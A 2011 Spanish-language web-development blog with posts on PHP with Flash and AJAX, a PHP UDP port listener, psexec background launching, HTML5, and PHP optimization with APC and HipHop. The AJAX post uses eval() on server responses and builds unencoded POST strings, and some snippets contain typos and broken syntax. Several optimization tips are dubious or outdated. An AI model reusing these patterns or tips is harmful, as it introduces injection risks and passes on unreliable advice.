martes, 27 de diciembre de 2011

PHP y FLASH

Pues eso, ahora les platicare un poco de como conjuntar estas 2 tecnologías. Adobe Flash integra un lenguaje de programación llamado actionscript y van en la versión 3.0 con esto le dieron mas interactividad a flash (por cierto mejoraron mucho la orientación a objetos), ahora no solo es una simple animación si no ahora puedes programar eventos, funciones, etc. Con lo que puedes realizar interfaces muy ricas en contenido visual y la vez interactivas con el usuario.

Pero que pasa si ahora quieres guardar datos, por ejemplo imaginemos que se te a ocurrido un juego, que revolucionara la forma de jugar video juegos por Internet, XD bueno ya siendo mas realistas, imaginemos que quieres o te han pedido hacer una pagina web muy vistosa con mucho flash y bla bla y a ti se te da el diseño gráfico, ok pero el sitio web en algunas partes necesitas guardar, configuraciones y/o datos del usuario, para ellos vas a tener que guardar la información en un sistema de BBDD.

Bueno, esto en lo básico que tienes que saber, el nucleo de la comunicación entre flash y php descansa en la clase LoadVars, por lo que tienes que instanciar un objeto de dicha clase, asi:

var objeto = new LoadVars();


Ahora podemos enviar y recibir datos, para recibir datos desde un script php, solo hay que indicar que script, ejemplo:

objeto.load("script.php");
objeto.onLoad = function {
      un_texto.text=this.mensaje; //aquí recibimos la respuesta del script php, las variables se accesan como propiedades del objeto y tienen el mismo nombre que como se les declaro en el script php.
}


Así en el script php tendrías por ejemplo:

echo "mensaje=hola mundo"; //creamos la variable mensaje y le damos un valor

para enviar datos y a la vez recibirlos, supongamos que tienes un formulario de contacto en flash y envías un campo llamado "nombre", entonces harías lo siguiente:

var envia = new LoadVars();
function enviar(){
     envia.nombre=nombre.text; //obtenemos el dato de una caja de texto llamada nombre
     envia.sendAndLoad("script.php",objeto_que_recibe,"POST"); //indicamos el script, quien recibe la respuesta y por que método enviamos los datos.
}
objeto_que_recibe.onLoad = function(){
     mensaje_text.text=this.mensaje; //mensaje_text en un objeto flash que puede ser una caja de texto o un label
}


Y en el script php, tendríamos lo siguiente:

$nombre = $_POST['nombre'];
echo "mensaje=dato recibido";


Bueno lo demás en simplemente juguetear con esto, se pueden crear aplicaciones muy potentes, yo en lo personal prefiero hacer uso de javascript con php, flash es demasiada carga, no soy de los que les gusta cargar demasiado una pagina con tantos gráficos.

Saludos y hasta la próxima.

lunes, 19 de diciembre de 2011

Meta programacion PHP

PHP como la mayoría si no es que todo los lenguajes de scripting soportan el concepto de meta programación, ¿pero que es eso? consiste en la creacion de programas que puedes manipular a otros o a si mismos por lo tanto si un lenguaje presume de tal propiedad debe tener los mecanismos para dicha tarea, pues bien en PHP un ejemplo seria el siguiente:

una_funcion($mastexto){
       echo "hola mundo ".$mastexto;
}

$funcion = "una_funcion";

$funcion("maravilloso");

$variable="funcion";
echo $$variable


Esto imprimirá la cadena hola mundo maravilloso, ya que se invoco la función con un parámetro. Esto puede ser bastante útil para elegir que acción ejecutar ante una entrada por parámetro. Lo segundo la variable $variable contiene la cadena función si la llamamos con doble $ lo que le decimos a PHP es que evalué a $variable con lo que se llamara a su vez el contenido de $funcion. Si tienen imaginación esto permite manipular un programa de una manera mas flexible.

Ademas de que al generar archivos php e incluirlos con include también obtendremos la meta programación en PHP.

Bueno eso es todo, que les sea de utilidad, hasta pronto.

lunes, 12 de diciembre de 2011

PHP + AJAX

Ahora hablare de como conjuntar PHP con la técnica AJAX, que no es un lenguaje, su nombre es un acronimo del ingles Asynchronous JavaScript And XML y es una técnica de programación que permite una interacción mas fluida y sin tantas recargas entre la web y el usuario, lo que le da una apariencia mas profesional, ademas de un mejor desempeño al no recargar toda la pagina, con lo que si usamos muchas imágenes o flash la ventaja sera notoria, pero sin mas bla bla vamos al grano y es que el núcleo y el corazón de esta técnica es la interfaz de javascript XMLHttpRequest, es la que hace toda la "magia" realiza las peticiones post o get al servidor web.

Veamos como funciona, primero creamos el objeto en una pagina html, desde luego esto es código

JavaScript.

xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","datos.php"); //aqui va la fuente de los datos puede ser tambien por POST
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
        obj.innerHTML = xmlhttp.responseText; //aqui obtenemos la respuesta puede ser XML pero requiere de tratamiento especial, asi que usamos texto simple
        var x = htmlhttp.responseText //tambien podemos llenar una variable con la respuesta
         eval(xmlhttp.responseText); //incluso podemos evaluar codigo javascript  generado del lado servidor desde nuestro datos.php
}


Después en nuestro datos.php, podemos hacer una conexión a una base de datos y generar la respuesta, pero aquí en nuestro ejemplo haremos algo mucho mas simple:

PHP

echo "Hola mundo";  //una respuesta simple
 echo "var arreglo=new Array('hola mundo','segundo item','tercer item');"; //esta parte si la usamos con un eval del lado de la pagina html sera ejecutada como codigo javascript y tendremos un arreglo que podemos usar


Desde luego en lo anterior o hacemos una cosa o hacemos otra, es decir o recibimos el texto simple y los mostramos o lo evaluamos ya que si hacemos los dos echo nos arrojara un error javascript al intentar evaluar la cadena "hola mundo" ¿capisci?

La función en javascript quedaría ya completa como sigue:

JavaScript

function ajax(){
     var xmlhttp = false;
     if (window.XMLHttpRequest) { //para los demas navegadores
           xmlhttp = new XMLHttpRequest();
     } else if (window.ActiveXObject){ //para las basuras de ie5 y 6
           xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
     }
     return xmlhttp;
}
ajax=ajax();
ajax.open("POST","pagina.php"); //especificamos de donde obtener los datos
ajax.onreadystatechange=function(){
     if(xmlhttp.readyState == 4 && xmlhttp.status == 200){
           var x = htmlhttp.responseText; //aqui ya hacemos lo que se nos antoje
     }
}


Hasta ahora vimos como recibir datos desde un script php, pero ahora queremos enviar datos de un formulario, entonces haremos la siguiente funcion:

JavaScript

//esta funcion requiere los parametros script que es la ubicacion del script al que se enviaran los datos y formulario que es el id del form html que envia los datos
function envia_ajax(script,formulario){
     var ajax=ajax(); //creamos el objeto con la anterior funcion
     ajax.open("POST", script, true);
     ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
     frm=document.getElementById(formulario),cadena="";
     for(i=0;i<frm.elements.length;i++){ //recorremos los elementos del form para obtener su nombre y su valor
         cadena+=frm.elements[i].name+"="+frm.elements[i].value+"&";
     }
     ajax.send(cadena);
     ajax.onreadystatechange=function(){
         if (ajax.readyState==4){
                return ajax.responseText; //retornamos la respuesta
         }
     }
}


En un html agregamos los script javascript necesarios y el siguiente código html

HTML

<form id="forma">
<input type="test" name="x"/>
 <input type="button" name="ok" value="enviar" onclick="window.alert(envia_ajax('datos.php','forma'));" />


Ahora en datos.php recogeríamos los datos como si los hubiese enviado el mismo form

PHP

if($_POST['ok']){
     echo "el dato que mandaste fue".$_POST['x'];
}else{
    echo "aun no has enviado nada";
}


Con esta técnica podemos generar contenidos dinamicamente en tiempo real, con las obvias ventajas que esto implica, pero no debemos abusar de esta técnica, ya que esto tiende a segmentar mucho el sitio, generando muchos archivos background (en nuestro caso el datos.php) ademas de que si hacemos demasiadas peticiones xmlhttprequest terminaremos cayendo en lo que queríamos evitar, que es una carga alta de peticiones al servidor.

Saludos, felices códigos y hasta la próxima.

martes, 6 de diciembre de 2011

Dart un nuevo lenguaje para la web

Así es se trata de un nuevo lenguaje para desarrollo web que fue creado por google, este lenguaje es de lado cliente, como javascript lo que me hace pensar que es la competencia directa, si bien los de google han declarado que no pretenden suplantarlo, este lenguaje es sin mas preámbulo muy similar a C, veamos un ejemplo:

int fib(int n) {
if (n <= 1) return n;
return fib(n - 1) + fib(n - 2);
}

main() {
print('fib(20) = ${fib(20)}');
}


Creo que no es necesario que explique el código, esto es así porque según los de google lo hicieron con la intención de que sea fácil de aprender, también se dice que ofrece mejoras sobre javascript ya que es mas estructurado y flexible y que su código resultante es mas claro y ordenado, con lo que se podrá escalar mas fácilmente el código de un script sin tener que rehacerlo gracias a las "estructuras dart", ok todo eso esta muy bien, pero aquí hay un problema y es que solo google chrome lo soportara nativamente y al parecer también safari y firefox pero no así opera e internet explorer que sigue manteniendo la cuota mas alta del uso de navegadores.

Lo anterior implica que habrá una diferencia en desempeño entre navegadores, ya que al tenerse que traducir a javascript los scripts en dart, en el caso de los navegadores que no lo soporten, habrá una carga que invariablemente afectara el desempeño de la pagina, lo que a muchos desarrolladores no nos parece.

aquí esta el sitio oficial  http://www.dartlang.org/

aquí un pdf con todas las especificaciones del lenguaje por si te interesa y quieres aprenderlo http://www.dartlang.org/docs/spec/dartLangSpec.pdf

desde aquí puedes ir probando scripts http://try.dartlang.org/

Aunque les deseo suerte, no creo que por ahora se imponga por sobre javascript, yo por lo menos no lo usare hasta que vea una mayor compatibilidad y una mayor comunidad de desarrolladores web usándolo.

saludos.

sábado, 19 de noviembre de 2011

Automatizar Scripts de PHP

Ya la vez anterior hable de un script escucha puertos, pero teníamos que ejecutarlo manualmente, pues ahora veremos cómo automatizar dicho proceso, concretamente en Windows ya que en Linux es más fácil al usar el CRON con CURL (hay mucha documentación en español sobre este tema) con esto lograremos ejecutar el script no solo de forma automática sino además de no depender de un navegador para que se ejecute nuestro script en pocas palabras se ejecutara en segundo plano,  pero en una entrada posterior hablare de cómo automatizar scripts en Linux.

En Windows el problema se complica ya que para ello tendríamos que usar el siguiente el script lanzador, ya que no funciona igual que con Linux.

< ?php
exec('psexec -d C:\ruta_al_exe_php\php.exe -f script_escucha_puertos.php');
?>


En donde psexec es un ejecutable que no viene en PHP y se deberá subir en el mismo lugar en donde se encuentra el script lanzador,  el psexec lo pueden descargar de aquí:

http://www.softpedia.com/progDownload/PsExec-Download-35253.html

-f script_escucha_puertos.php  es el scrit que se lanzara, por supuesto aquí deben usar el que vayan a automatizar.

Con esto solo llaman desde el navegador una única vez al script lanzador y se puede cerrar posteriormente.

Espero que les sea de utilidad.

Saludos y hasta la próxima.

jueves, 17 de noviembre de 2011

Script PHP escucha puertos

Este es un script que puede ser de mucha o poca utilidad lo hice por motivos de aprendizaje, dada la poca documentación en español decidí escribir este artículo que tal vez a alguien le sirva, bien este pequeño script escucha lo que llega a un puerto UDP cualquiera.

<?php
set_time_limit(0); //para que no sea interrumpido el script
while(true){ //iniciamos un bucle infinito para que siempre escuche en el puerto
      $sock=socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); //crea el socket
      if($sock===false){ 
            echo 'socket_create Fallo: '.socket_strerror(socket_last_error());
            break;
      }
      if((socket_bind($sock,"127.0.0.1",2222))===false){ //aquí configuramos la IP
// y el puerto de escucha, por ahora está en localhost para las pruebas, puerto 2222
            socket_close($sock);
            echo 'socket_bind Fallo: '.socket_strerror(socket_last_error());
            break;
      }
      socket_recvfrom($sock,$buf,1024,0,$clientIP,$clientPort); //aquí hace la 
//lectura de lo que está llegando al puerto, 1024 es el tamaño en bites a leer
      if($buf===false){ 
          echo 'socket_recvfrom() Fallo: '.socket_strerror(socket_last_error());
      }elseif(strlen($buf) === 0) {
          echo 'socket_read() Cadena vacia: '.socket_strerror(socket_last_error());
      }
      echo "Lectura: $buf"; //aquí muestra en la pagina lo que lee o podemos 
//agregar el código que por ejemplo envié los datos y los almacene a una base 
//de datos o aun archivo

      // Ahora se puede interactuar con el cliente responder 
      /*if(!socket_connect($sock, $clientIP, $clientPort)){
           echo 'socket_create Fallo: '.$clientIP.':'.$clientPort.' : '.socket_strerror
(socket_last_error());
            socket_close($sock);
      }*/

      socket_close($sock);//se cierra el socket de lo contrario no podrán 
//depositarse datos en el puerto
} 
?>

Ya podrán ajustar el código a sus necesidades, básicamente lo que hace es crear un socket en cada ciclo y conectarse al puerto UDP y empezar a leer y luego cierra el socket esto debe ser así si planeamos interactuar con los clientes ya que si no, no permitirá la conexión de más clientes, indicara que está ocupado, al principio podrá parecer que no funciona pero en realidad está en escucha, para ver que realmente está funcionando utilicen algún programa para enviar datos al puerto UDP y si dicho programa tiene una función para enviar periódicamente datos, mejor aun, por ejemplo que tenga un timmer, pueden ajustarlo para que envié un "hola mundo" cada 500 mili segundos y verán que después de un rato el script libera los echos y sigue ejecutándose y periódicamente mostrara en pantalla la información enviada.

Para propósitos de prueba pueden usar el siguiente programa aunque sea un trial tiene un modulo muy útil que es un cliente UDP y tiene la función timmer para enviar información periódicamente.

http://download.cnet.com/Network-Traffic-Generator-and-Monitor/3000-2085_4-10668961.html

Para hacer lo mismo pero en TCP solo hay que cambiar la línea

$sock=socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); por esta otra

$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);


NOTA MUY IMPORTANTE habrá que habilitar el uso de sockets en PHP para que funcione este script, en el directorio de extensiones del interprete PHP se deberá tener la dll o el .so (linux) llamado php_sockets.dll, además en el archivo php.ini habrá que habilitar dicha extensión con: “extension=php_sockets.dll”

Bueno llegados a este punto resulta que nos daremos cuenta que solo ejecutando un navegador es cómo funciona el script y ahora tenemos el siguiente problema como rayos voy a estar ejecutando el script manualmente, bueno si tu hosting esta en linux la solución es muy simple. Pero en la próxima entrada hablare de cómo hacer para que se ejecute automáticamente.

Nota: el script no es lo más óptimo para esta tarea, lo mejor es una aplicación de escritorio que realice dicha tarea, aunque este script puede cumplir con tareas sencillas, ademas si van a usar bases de datos para almacenar la información que llegue, utilicen conexiones persistentes en php.

Saludos.

sábado, 12 de noviembre de 2011

HTML5 ¿porque empezar a usarlo?

Hoy hablare de HTML5 y aunque aun está en fase de desarrollo como lo indica la misma W3C ya es usado por muchos desarrolladores, pero ¿a que tecnologías pretende reemplazar o por lo menos presentarse como alternativa?¿o porque empezar a usarlo? básicamente pretende suplantar a html4 y xhtml estricto, aunque también pretende presentarse como alternativa a flash en videos, ya que insertar videos en una web será tan fácil como el siguiente código:


<video controls="controls" height="240" width="320">

<source src="movie.mp4" type="video/mp4"></source>

<source src="movie.ogg" type="video/ogg"></source>

</video>


Y están soportados formatos como MPEG y ogg, pero algunos benchmark indican que html5 no es tan eficiente como flash para reproducir videos al menos en Windows ya que en Mac la historia es otra, esto se debe a que flash cuenta con aceleración por hardware en Windows, pero aquí hay que hacer una acotación muy clara, esto no es problema del estándar html5 en sí, si no de que el navegador implemente esta parte.

También es sonado que hay una especie de guerra entre flash y html5, yo creo que más bien es un pleito como los que seguido se escuchan entre compañías cuando entran en conflicto sus intereses, por ejemplo que si las ipad no traen soporte para flash y bla bla, yo creo que por ser un estándar libre ya tendrá muchos a su favor a diferencia de flash.

Desde el punto de vista de un desarrollador esta actualización de HTML trae muchas ventajas, por la simplicidad y la llegada de nuevas capacidades como la de video, audio, canvas. Una capacidad muy apreciable y que seguro ahorrara mucho código es la propiedad “required” que ahora podrá usarse en todos los inputs de un form, ejemplo:

<input type=”email” name=”x” required />


Esto hará que le salte al usuario un mensaje si no llena ese campo, además también saltara un mensaje de error si el campo no tiene el formato de un correo electrónico ya que el nuevo type “email” así lo valida. Pueden ver una guía de referencia donde podrán encontrar muchos de los nuevos tags que incorpora html5 desde aquí http://www.w3schools.com/html5/html5_reference.asp

Canvas permitirá la creación de imágenes 2D con lo que se podrán hacer jueguitos XD, pero una capacidad que cobra especial atención es la incorporación del soporte a la web 3.0 la web semántica, se define como la interoperabilidad entre aplicaciones, servicios y páginas web para reunir o comunicarse información entre si y así ofrecerla al usuario final, sin necesidad de intermediarios es decir de forma totalmente automática por maquinas de procesamiento “agentes inteligentes” que harán las búsquedas por nosotros y nos ofrecerán la información que nos interesa basados en el contenido, significado y relación de los datos. A penas acabamos de comprender el concepto de web 2.0 y ya surge la 3 y es que en mi opinión personal y un tanto dividida, parece un poco prematuro crear una tecnología para un concepto a penas naciente con lo cual parece que habrá futuras correcciones y modificaciones, pero es bueno que haya un iniciador que abra camino en este ámbito y que mejor que un estandar y así lo tengamos más fácil los desarrolladores, ya que la irrupción de la web 2.0 fue un tanto violenta, confusa y sin orden. Con lo que la estructura de una pagina web en html5 y atendiendo a la web semántica quedaría así:


Como se puede apreciar html5 tendrá mucho éxito, sera el estandar con el que se maneje la semantica de la web 3.0 y ya es soportado en su mayoría, por la mayoría de los navegadores aunque internet explorer sigue siendo una pesadilla para nosotros los desarrolladores web, saludos y hasta la proxima.


Aquí unos enlaces interesantes por si les entro curiosidad por la web 3.0, que al final tendremos que mirar hacia allá.

http://www.genbetadev.com/desarrollo-web/introduccion-a-la-web-semantica-en-html5
http://css3html5.com.ar/html5-y-la-web-semantica/

de html5

http://html5tutorial.net/
http://www.desarrolloweb.com/manuales/html5-internet-explorer9.html

jueves, 10 de noviembre de 2011

Optimizar PHP la optimizacion Extrema final

Si así es, siguiendo con el tema que ya lo toco de forma casi obsesiva jejeje pero esta vez no se salvan los de java XD (y dale contra los de java, no se crean no es nada en contra, pero java en web es un buen referente con el cual comparar) pero esta vez los ingenieros de Facebook el cual fue desarrollado en PHP, le retribuye algo, se trata de HipHop PHP un compilador que traduce el código PHP a C++ ¿Cómo? Si a C++ ni más ni menos, ya se imaginan el rendimiento simplemente supremo, es mas pondré textualmente como aparece en su página oficial.

“transforms PHP source code into highly optimized C++”


Es algo que ni yo esperaba, pero deduzco que con esto se optimiza tanto la ejecución de PHP (aunque en realidad ya no lo es XD) al grado de competir en rendimiento con Java, no ha habido benchmarks comparando a Java con esto ya que es nuevo y casi nadie lo conoce (pero puedo imaginar los resultados).


A esto le veo 2 ventajas, una que el programador ya no se tendrá que romper la cabeza programando en el tortuoso pero todo poderoso C++ (es como si C++ fuera tan fácil de programar como PHP con su maravillosa colección de funciones que te permiten programar de todo y sus estructuras de muy alto nivel que caracterizan a los lenguajes de scripting) y dos tienes la eficiencia y velocidad de C++. Un híbrido maravilloso.

Por desgracia todavía está en una fase incipiente y solo está disponible para Linux y en 64 bits.


Pero por ahora pueden deleitarse con este benchmark en el que comparan PHP normal vs PHP + APC (ya en un post anterior trate el tema de APC en PHP) vs HipHop PHP con Drupal 7 un CMS y los resultados demuestran que los scripts compilados con HipHop PHP son hasta 5 veces más rápidos que PHP tradicional y 2 veces más rápidos que PHP con APC.


Es bueno que estas empresas usen software libre, ya que por lo visto suelen retribuir con cosas tan buenas como estas, es algo parecido a lo que ya ocurrió con Google en java script con su jquery y en python con su Google App Engine


Aquí está el benchmark para que vean las graficas. http://php.webtutor.pl/en/2011/05/17/drupal-hiphop-for-php-vs-apc-benchmark/


Y este es el sitio oficial del proyecto. https://github.com/facebook/hiphop-php/wiki/


Saludos y hasta la próxima.

sábado, 5 de noviembre de 2011

Optimizar el codigo PHP

Bueno esta vez les hablare de algunas recomendaciones, que te pueden ayudar a que tu código PHP sea mas optimo y consuma menos recursos de tu servidor.

Empezaremos por mencionar las funciones de PHP debes usar en de que (mas rápido / menos optimo) ok al grano:

1- no abuses de las variables globales, trata de usar variables locales ya que son dos veces mas rápidas.

2- siempre incrementa tus variables de la siguiente forma:
++$variable //es mas rápido que
$variable++


3- Al hacer tus comparaciones con valores constantes, pon estos primero y después lo que quieres comparar, ejemplo:
if(FALSE===$variable){
//codigo
}


4- usa en las comparaciones el operador lógico === en vez de == ya que el primero compara directamente sin convertir tipos de datos lo que si hace la segunda, por eso es mas lenta, claro esto solo si sabes que son exactamente del mismo tipo, ejemplo 1=="1" devolverá true pero 1==="1" devolverá false.

5- siempre declara tus variables y si son contadores o variables que se incrementara, considera declararlas con un valor inicial, ya que sera mas rápida al usarse después.

6- Procura no usar mucho la estructura de control switch ya es muy lenta, es preferible usar if.

7- echo es mas rápido que print.

8- si escapas código HTML, mejor cierra la etiqueta PHP (?>) escribe el HTML que necesitas y vuelve a abrir la etiqueta PHP (<?php) y continua con tu script.

9- no uses @ para suprimir errores, este ralentiza mucho tu script, corrige el error o desactiva los errores desde php.ini o con error_reporting(0)

10- para comprobar si una variable existe y no esta vacía usa isset() ya que es mas rápida que empty()

11- foreach es mas rápido que for.

12- nunca evalúes el tamaño de un arreglo en un for, siempre guárdalo en una variable y luego úsala en el for, ejemplo:
$cont=count($array);
for($i=0;$i<$cont;$i++){ //codigo }


13- las comillas dobles buscan variables dentro de la cadena para concatenarlas, usar comillas simples es mas rápido, ejemplo:
$var="mundo";
echo "hola $var"; //mas lento que
echo 'hola '.$var;


14- a menos que no uses expresiones regulares, usa explode ya que es mas rápido que split (que es el que te permite el uso de expresiones regulares) .

15- Utiliza pocos accesos a la base de datos. Al realizar una consulta selecciona solo los campos que necesites. No utilices "SELECT * FROM tabla" si no lo necesitas, utiliza "SELECT campo, campo FROM tabla".

16- procura hacer las validaciones de tu formularios con JavaScript de lo contrario tendrías que recargar la pagina cada vez que el usuario se equivoca, mejor ayúdate con JS y luego como seguridad extra valida los datos de tu formulario con PHP una vez enviados para estar seguros (no falta el vivo que desactiva JS en su navegador) pero así solo sera una vez y no cada que se equivoque el usuario.

17- Finalmente que PHP se "pre-compila" a un código objeto que luego es ejecutado (opcodes) la buena noticia es que se puede hacer cache de este código y mantenerlo residente en la RAM del servidor con lo que aumenta hasta en un 100% la eficiencia de PHP, para esto de puede ayudar mi post al respecto aqui

Hasta la próxima y feliz codificación ;)

Saludos.

miércoles, 2 de noviembre de 2011

Comparativa python vs php vs java

Pues ahora les traigo una comparativa entre estos lenguajes aplicados a la web (bueno en el caso de php ya es de naturaleza web pero no en el caso de python o de java).

Php es un lenguaje muy maduro que ha estado en el mercado hace ya muchos años (1995) y como principales ventajas tiene:

1- una gran comunidad de programadores que te pueden ayudar cuando te atores en algo
2- su curva de aprendizaje es muy suave ya que es muy sencillo de aprender (ademas de su gran parecido con c)
3- la cantidad de bibliotecas que te simplifican el desarrollo de cosas como creación de imágenes y pdf manejo de sockets y bases de datos de una forma muy simple y sencilla, por lo tanto
4- desde el punto de vista de un negocio el tiempo de desarrollo en php es mínima y muy rápida lo que se traduce en alta productividad.
5- la implementacion es muy simple por lo tanto la oferta de hosting que soportan esta tecnología es gigantesca.

como desventajas tiene:
1- es muy lento lo que en sitios web que tendrán muchas peticiones por segundo o cargas muy pesadas de acceso a BD, no sera la mejor opción
2- si bien la persistencia de datos existe al serializar manualmente o por medio de sesiones, no existe la persistencia de objetos lo cual puede llegar a ser una gran desventaja al programar OOP.
3- es un lenguaje que al principio no soportaba OOP por lo que hacer código spaguetti es muy facil y casi involuntario, ademas de que en algunos benchmark demuestra ser lento al ejecutar OOP que simple código estructurado.

Java es un lenguaje también muy maduro y con mucha experiencia y tiene como ventajas:
1- al igual que en php una gran cantidad de programadores te pueden ayudar
2- gran potencia y velocidad, ya que se usan servlets y existe persistencia de objetos.
3- es un lenguaje totalmente OOP por lo que es imposible programar feo (o al menos no como en php XD)

como desventajas:
1- su curva de aprendizaje es muy pesada, ya que este lenguaje es muy complejo, lo cual no lo hace justificable si tu desarrollo es medianamente simple.
2- el tiempo de desarrollo y por lo tanto su productividad no es tan bueno que como en php al menos en desarrollos relativamente simples como sitios de e-comerce, uso de base de datos sencillo. Aunque en sitios mas complejos donde la carga de consultas a bases de datos sea muy alta es mejor Java.
3- la implementacion de esta tecnología es mas costosa por lo tanto es mas escasa la oferta de hosting para la misma.

Python es un lenguaje mas parecido a java que a php (en su forma de operar) y aunque mas antiguo que php (1991) su incursión en la web a sido muy escasa, si bien es un lenguaje interpretado al igual que php, se parece mas a java y si lo piensan bien java también es interpretado ya que la compilación autentica no se da en estos lenguajes no como en c o c++, ambos tanto java como python traducen el script a un bytecode (muy parecido al lenguaje maquina) a diferencia de php que sus opcodes son mas parecidos al lenguaje ensamblador, y los bytecode son mas óptimos, por lo tanto python es mas eficiente en su ejecución que php aunque no se le acerca a java, PERO hay una configuración para python, que me gusta y por la que apuesto todo, se trata de un framework que soporta sesiones, mvc y mas importante SERVLETS así es python puede manejar servlets como java con este framework, por lo que su desempeño mejoraría muchisimo que me atrevería a decir que le anda pisando los talones a Java, pero de eso hablare mas adelante en un benchmark que pretendo hacer en estas 3 tecnologías.

como principales ventajas tiene:
1- curva de aprendizaje muy suave, es un lenguaje que se puede jactar de ser de muy alto nivel casi aproximándose al lenguaje humano, dejando atrás a java y php en este sentido.
2- se ejecuta como lo hace java con bytecode lo que lo hace muy rápido resultando estar en medio entre php y java en rapidez.
3- también implementa una gran cantidad de bibliotecas para hacer maravillas como sucede en php

como desventajas:
1- no hay muchos programadores en esta tecnología y la documentación es muy escasa en español y en ingles también aunque hay mas que en español.
2- implementar esta tecnología en web es muy compleja por lo tanto los hosting que soportan python son todavía mas escasos que en Java.

Este es un análisis simple  de estas tecnologías, iré haciendo mas análisis de estas tecnologías mas adelante y mas completas, esto es una introducción.

Solo como reflexión final y casi a modo de estocada final y letal, los que estamos a favor de python como es mi caso, podemos presumir de tener como respaldo a empresas tan grandes como ni mas ni menos Google, Yahoo y Nasa, estas tres empresas tienen sus sitios web en python.

Cabe reflexionar que estas empresas tienen equipos de ingenieros muy capacitados (de lo merjor del mundo) y que si voltearon sus ojos a esta tecnología es por algo ¿no creen?

Saludos.

domingo, 30 de octubre de 2011

XAMPP mas APC en linux

En el post anterior vimos como instalar un acelerador u optimizador de PHP a nivel de opcode en windows ahora lo vamos hacer en linux, cualquier distribucion como la de ubuntu que es la mas común (la cual es un debían) asi que cualquier distro basada en debian funcionara este tuto.

Pasos:
descargar xampp de su web oficial aqui tanto el normal como el de desarrollo e instalar con

#sudo su
#tar xvfz xampp-linux-1.7.7.tar.gz -C /opt


luego instalar el xampp developer, no importa que tengan el mismo nombre, deben combinarse ambos.

#tar xvfz xampp-linux-devel-1.7.7.tar.gz -C /opt


posteriormente si no lo tienes instalar autoconf necesario para que se auto configure al compilarse el APC

#apt-get install autoconf


posteriormente descargarnos la ultima version de APC en pecl.php.net/get/apc
descomprimir donde lo hayamos dejado e ir a esta misma ubicación (obviamente en la terminal)

Nota: es imortante que tengamos instalado el compilador gcc, de serie ningun ubuntu (xubuntu,lubuntu,kubuntu,etc.) lo traen, asi que hay que instalarlo:

sudo apt-get install build-essential


posterioemente continuamos con la compilacion

#cd APC-3.1.9
#/opt/lampp/bin/phpize
#./configure --enable-apc-mmap --with-apxs --with-php-config=/opt/lampp/bin/php-config
#make
#make install


vamos a donde se encuentra el php.ini y lo habrimos y en la seccion de extensiones agregamos la linea extension="apc.so" y en la parte final del mismo la seccion de APC, asi:

extension="apc.so"
[APC]
apc.enabled = 1
apc.shm_segments = 1
apc.shm_size = 64M
apc.max_file_size = 10M
apc.stat=1


inciamos el servidor apache y listo

#/opt/lampp/lampp start


por ultimo tomamos el archivo apc.php del paquete APC que descargamos y lo ponemos en /opt/lampp/htdocs/dondesea y lo ejecutamos en el navegador, ejemplo:  localhost/APC/apc.php

bueno eso es todo, si no tenemos xampp y lo instalamos aparte obviamente solo debemos cambiar las ubicaciones que en vez de xampp sean las de nuestro apache

Saludos.

domingo, 23 de octubre de 2011

Optimizar PHP con APC

Ya en una entrada anterior les dije que hablaría de la optimizacion de código en php, pero no les dije que código XD

Si así es se trata del opcode (operation code) que genera PHP al interpretar un script, algunos lo confunden con bytecode que no es así, el opcode es mas parecido al ensamblador y es el resultado del análisis y "compilación" del código fuente del script y a alguien se le ocurrió que se podía optimizar la ejecución de un script haciendo cache de dicho opcode, evitando la sobre carga de analizar y "compilar" en cada petición del servidor web el script, dejando en memoria RAM el opcode y sirviéndolo cada vez que se le requiera. Bendito el o los que se les ocurrió ya que esto era un verdadero punto en contra de PHP y que a cada rato los fanboys de java te restriegan en la cara jajaja pero bueno PHP tiene como principal fuerte la productividad a nivel negocio que puedes alcanzar con este maduro lenguaje cosa que no ocurre con JAVA, los tiempos de desarrollo en PHP son realmente aplastantes comparados con los de JAVA claro hablando de web, aunque si bien con esto PHP no alcanza a JAVA con sus servlets, si acorta considerablemente la brecha en desempeño que existía entre ambos. Pero ese no es el tema de este post así que al grano.

Hay mucho aceleradores de estos el mejor y oficial es el APC (Alternative Php Cache) así que hablaremos de este, ya que incluso sera incluido como parte de PHP en la versión 6 según los rumores :)

Básicamente existen 2 panoramas windows y linux, por ahora hablaremos de windows que este a su vez tiene otros 2 IIS y Apache.

Apache.

No tenemos mas que bajar la versión de APC que le corresponde a nuestro PHP desde aqui http://downloads.php.net/pierre/ nota NTS significa "non thread safe" y TS obviamente "thread safe" así que procedemos a descargar la nuestra, si tienes PHP en un todo en uno como Wamp o Xamp no hay pierde la versión que te corresponde es la TS.

Actualizacion: de esta oagina tambien se puede conseguir y mas actualizados los dll http://dev.freshsite.pl/php-accelerators/apc.html

ahora copiamos el archivo php_apc.dll en el directorio donde php carga las extensiones, ejemplo: C:\php\ext\ en Xampp es C:\xampp\php\ext\

luego procedemos a modificar nuestro php.ini, agregando las lineas

extension=php_apc.dll ;esto en la sección de extensiones
[APC] ;esto al final de tu php.ini aqui es donde podras controlar a APC
apc.enabled = 1
apc.shm_segments = 1
apc.shm_size = 64 ;aqui aumentamos la memoria en MB que se reserva para el cache
apc.max_file_size = 10M ;los script mas pesados que esto no seran cacheados
apc.stat=1


si quieres saber mas de como configurar tu APC ve aquí http://php.net/manual/es/book.apc.php

luego si quieres ver como funciona, puedes descargar el archivo apc.php desde aqui http://pecl.php.net/ package/APC en donde dice download latest en el tar que descarga (tendrás que usar winrar para poderlo habrir) se encuentra el código fuente por si te interesa, pero ahora solo nos importa el apc.php que lo colocamos en nuestro sitio y lo llamamos nos mostrara unas interesantes gráficas como esta:


IIS

Aquí usaremos Wincache en vez de APC y lo descargamos desde aqui http://www.iis.net/download/wincacheforphp en la parte superior derecha se encuentran los enlaces, el autoextraible nos pregunta donde extraer los archivos, le decimos donde y ahi encontraremos la dll el cual es "php_wincache.dll", seguimos exactamente los mismos pasos y en vez del apc.php tenemos el wincache.php obvio no? XD

El problema es que tu php tiene que ser NTS (non thread safe) y solo fastCGI :(

Espero que les sea útil, en el próximo post hablaremos de como instalar APC en linux.

Saludos.

jueves, 20 de octubre de 2011

Php Seguridad, el login

Bien lo prometido es deuda, en este post, hablare del famoso sistema de login en php.

